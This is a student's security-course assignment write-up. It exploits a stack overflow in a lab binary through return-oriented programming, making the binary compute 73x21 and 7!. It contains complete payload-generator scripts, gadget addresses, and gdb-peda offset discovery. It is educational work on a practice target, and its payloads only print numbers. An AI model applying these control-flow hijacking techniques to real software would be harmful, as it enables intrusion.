SSE 2024 Assignment 3

Yuvraj Talukdar (CS23D009)

March 11, 2024

Question 1.

The programmer intended to multiply 73 and 21 instead. Can you make the program compute 73 x 21 ? (40 points)

```
sse@sse_vm:~/Documents/sse/Assignment3$ cat payload_q1 | ./main
This program ONLY adds 21 to itself
21 + 21 = 42
Anything to say?
1533
*** stack smashing detected ***: terminated
Aborted (core dumped)
```

Figure 1: Question 1 payload execution proof 73*21=1533.

$73 \times 21 = 1533$ Figure 1 demonstrates the result after execution of the payload.

Decompile: main - (main)

```
1
2  /* WARNING: Function: __x86.get_pc_thunk.bx replaced
3
4  undefined4 main(void)
5
6  {
7    undefined local_28 [20];
8    int local_14;
9    int local_10;
10   int local_c;
11
12   local_c = 0x15;
13   local_10 = 21;
14   puts("This program ONLY adds 21 to itself");
15   printf("21 + 21 = ");
16   local_14 = local_10 + local_c;
17   printf("%d\n",local_14);
18   puts("Anything to say?");
19   __isoc99_scanf("%[^\n]s",local_28);
20   return 0;
21 }
22
```

Figure 2: Source code of the given binary obtained after decompiling using Ghidra.

Explanation for the working of the script.

I use multiplication using repeated addition method for solving this question.

1. **Padding length:**
   I used gdb-peda for generating a pattern of length 500 using **pattern create 500 pat**. I than smash the stack in gdb-peda and use **patter search** command to find the offset at which eip got overwritten. I got the padding length as 40.

2. **Add gadget (0x08075044: add eax, ecx; ret;):** In this gadget the value present in ecx is added to the content present in eax and stored in eax. I store 73 in both eax and ecx and make a chain of the gadget for 20 times.

```
#73*21 working in gdb
padding="B"*40
dummy_addr="\xef\xbe\xad\xde"
num_73="\x49\x00\x00\x00"
pop_eax="\x9a\xf4\x0c\x08"
pop_ecx="\xf3\x15\x09\x08"

load_registers=pop_eax+num_73+pop_ecx+num_73


add_eax_ecx="\x44\x50\x07\x08"
mul_eax_ecx=add_eax_ecx*20

#0x08049a9f: pop edi; ret;  "\n%d"
pop_edi="\x9f\x9a\x04\x08"+"\x37\x30\x0d\x08"

#0x080497c4: pop esi; ret; printf address
pop_esi="\xc4\x97\x04\x08"+"\x30\x22\x05\x08"
#0x08079263: push eax; push edi; call esi;
push_para_call_printf="\x63\x92\x07\x08"

payload=padding+load_registers+mul_eax_ecx+pop_edi+pop_esi+push_para_call_printf

print payload
```

Figure 3: Python 2 script for generating payload for question 1.

```
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41304141 in ?? ()
gdb-peda$ pattern create 500 pat
Writing pattern of 500 chars to filename "pat"
gdb-peda$ pattern search
Registers contain pattern buffer:
EBX+0 found at offset: 32
EIP+0 found at offset: 40
EBP+0 found at offset: 36
Registers point to pattern buffer:
[ESP] --> offset 44 - size ~203
Pattern buffer found at:
0x08111240 : offset    0 - size  500 ([heap])
0xffffd554 : offset    0 - size  500 ($sp + -0x2c [-11 dwords])
```

Figure 4: pattern search in gdb-peda for finding the offset.

3. **pop gadgets (0x080cf49a: pop eax; ret; 0x080915f3: pop ecx; ret;):** These gadgets pop the value at esp and puts it in their respective registers.

4. **Finding the address of format specifier string:** Using gdb-peda use can find the address of strings using find command. I found the address of the format specifier to be used in the printf function using this.

```
gdb-peda$ find "%d\n"
Searching for '%d\n' in: None ranges
Found 1 results, display max 1 items:
main : 0x80d3037 --> 0xa6425 ('%d\n')
```

Figure 5: Find command in gdb-peda.

5. **printf mechanism:** Printf function has 2 type of argments 1. a string as format specifier and 2. the parameters to be printed. In 32 bit system a function reads parameters from stack and in 64 bit system they are read from registers. In our case we need to put the format specifier in and eax which contains the final result in the stack and than call printf function. Format of the printf call is - (**address of printf format specifier ; string ; value of eax**). For this we use the rop gadget **0x08079263: push eax; push edi; call esi;**. Here edi

contains the address of the format specifier string found using gdb-peda and esi contains the address of printf function which I found out using disas main command in gdb. We used **pop edi** and **pop esi** gadgets for loading the respective address on to the registers.

Note: Using static address for the parameters for printf in problematic as the addressing space can change inside and outside gdb this is why I **DID NOT** use static address.

Question 2.

Taking it a step further, we would like to make the binary compute a factorial. Create a payload to compute 7! (60 points)

```
sse@sse_vm:~/Documents/sse/Assignment3$ cat payload_q2 | ./main
This program ONLY adds 21 to itself
21 + 21 = 42
Anything to say?
5040
*** stack smashing detected ***: terminated
Aborted (core dumped)
```

Figure 6: Proof of the the payload working for calculating 7!

```
padding="B"*40
dummy_addr="\xef\xbe\xad\xde"
num_5="\x05\x00\x00\x00"

pop_eax="\x9a\xf4\x0c\x08"
pop_ebx="\x1e\x90\x04\x08"#0x0804901e: pop ebx; ret;
pop_ecx="\xf3\x15\x09\x08"

#0x080aeff8: imul dword ptr [ecx]; rcr byte ptr [edi + 0x5e], 1; pop ebx; ret;
#0x8009eff8-10000
imul_minus_offset="\xf8\xef\x09\x08" #080beff8
offset="\x00\x00\x01\x00" #10000
add_eax_ecx="\x44\x50\x07\x08"
#0x0807949f: mov edx, eax; mov eax, esi; pop esi; pop edi; cmovne eax, edx; ret;
mov_edx_eax="\x9f\x94\x07\x08"+dummy_addr+"\x86\xd3\xff\xff"#valid_dummy_addr
mul_instruction_calc=pop_eax+imul_minus_offset+pop_ecx+offset+add_eax_ecx+mov_edx_eax
#damaged registers eax, ecx, edx, edi, esi
call_mul_edx="\xbd\x96\x04\x08" #0x080496bd: call edx;
#damaged registers edx, ebx
valid_address2="\x03\xd4\xff\xff" #FFFFD406-3=FFFFD403

backup_edx=pop_ebx+valid_address2+"\xf2\x97\x04\x08" #0x080497f2 : mov dword ptr [ebx + 3], edx ; 
restore_edx=pop_ebx+valid_address2+"\xb6\x97\x04\x08" #0x080497b6 : mov edx, dword ptr [ebx + 3] ;

load_ecx_21=pop_ecx+"\xd4\xa0\x0d\x08" #ecx has to be an address
load_5=pop_eax+num_5
mul_21_5=backup_edx+load_ecx_21+load_5+call_mul_edx+restore_edx

load_ecx_4=pop_ecx+"\x4c\x80\x04\x08"
mul_105_4=backup_edx+load_ecx_4+call_mul_edx+restore_edx

mul_420_4=backup_edx+call_mul_edx+restore_edx

load_ecx_3=pop_ecx+"\x07\x80\x04\x08"
mul_1680_3=backup_edx+load_ecx_3+call_mul_edx+restore_edx

#0x08049a9f: pop edi; ret;  "\n%d"
pop_edi="\x9f\x9a\x04\x08"+"\x37\x30\x0d\x08"
#0x080497c4: pop esi; ret; printf address
pop_esi="\xc4\x97\x04\x08"+"\x30\x22\x05\x08"
#0x08079263: push eax; push edi; call esi;
push_para_call_printf=pop_edi+pop_esi+"\x63\x92\x07\x08"

payload=padding+mul_instruction_calc+mul_21_5+mul_105_4+mul_420_4+mul_1680_3+push_para_call_printf

print payload
```

Figure 7: Python 2 script for generating payload for question 2.

Explanation for working of the script.

$7! = 7 \times 6 \times 5 \times 4 \times 3 \times 2 \times 1 = 5040$. I use the imul gadget for performing the multiplication of the numbers. The important parts of the solution is described below.

1. **0x080aeff8: imul gadget (imul dword ptr [ecx]; rcr byte ptr [edi + 0x5e], 1; pop**

ebx; ret;): This gadget reads the int present in the **address** present in ecx and multiplies it to textbfeax. Node one number number is pointed to by the address stored in ecx and other number is directly present in eax. The gadget also pop the next value from stack on to ebx, so we need a dummy address to be added after the address of the gadget.

2. **Problem with new line character in imul gadget address:** I can see the address of imul gadget is 0x080aeff8 which contains a 0a. When creating the payload script we follow the little-endian format and write it as **\f8\xef\x0a\x08**. Here **\x0a** act as new line character in scanf in c/c++ environment so if we use this address directly, will corrupt the payload. The solution to this problem is to subtract an offset to the imul gadget address and use add gadget to add the affset inside the program to get the correct address. Lines 17 to 24 in figure 7 is for calculating the correct address. The correct address is finally moved to edx register.

3. **Address of the numbers:** $7! = 7 \times 6 \times 5 \times 4 \times 3 \times 2 \times 1 = 5040$. 5040 has prime factors of 7, 5, 3, 2. As we have seen in point 1 ecx in the imul gadget only stores the address not the actual value so we need a was to have these prime factors in the process's memory. Luckly on running find command in gdb-peda we found 21, 4, 3. I loaded loaded 5 in eax, so $21 \times 5 \times 4 \times 4 \times 3 = 5040 = 7!$.

```
gdb-peda$ find 0x0000015
Searching for '0x0000015' in
Found 12 results, display ma
  main : 0x804985a (<main+21
  main : 0x8049861 (<main+28
  main : 0x80804e9 (<_dl_tun
  main : 0x808fc4e (<____sti
  main : 0x80d42d3 --> 0x15
  main : 0x80d9ad4 --> 0x15
  main : 0x80da0d4 --> 0x15
  main : 0x80e2015 --> 0x15
  main : 0x80eb153 --> 0x15
  main : 0x80ee4f0 --> 0x15
  main : 0x80f3810 --> 0x15
```

Figure 8: find 21 in gdb-peda. 21 in hex in 0x0000015

4. **Backup, restore address of calculated imul gadget address:** After we call the imul gadget using the **0x080496bd: call edx;** gadget, the address of imul gadget stored in edx gets erased. This is a problem as we need to use imul 4 times and as discussed before imul address as a \x0a which is considered as a new line character in c/c++ world so we cant have the exact address of imul in the payload multiple times. So solve this issue we need to backup the calculated imul address on to the stack. Why the stack and not any register ? I did not find and appropriate rop gadget chain to backup and restore the imul address without effecting the value of other neccessary registers. For backup we use the gadget **0x080497f2 : mov dword ptr [ebx + 3], edx ; ret** and for restoring we use the gadget **0x080497f2 : mov edx, dword ptr [ebx + 3] ; ret**. We need a valid address on the stack which is a bit far away from the area where we are working so this address is **0xffffd403**, we picked randomly. Before we use the gadget **call edx** we backup the current value of edx and once

the calling is complete and we get the result in eax we restore the address of imul gadget back on to edx register. We can see this process in lines 33, 36, 38, 41 of figure 7.

5. **printf:** Calling process of printf is same as that in question 1 lines 43 to 48 in figure 7 takes care of this.

Extra Tools Used

1. python2- for stitching the payload.
2. GDB-PEDA https://github.com/longld/peda- for searching for the address of "/bin/sh" using command find "/bin/sh".
3. Ghidra- for obtain the source code of the binary by process of decompilation.
4. ropper https://github.com/sashs/Ropper- For quickly searching for presence of specific rop gadget.
5. ROPGadget https://github.com/JonathanSalwan/ROPgadget- For displaying all the gadgets present in the binary.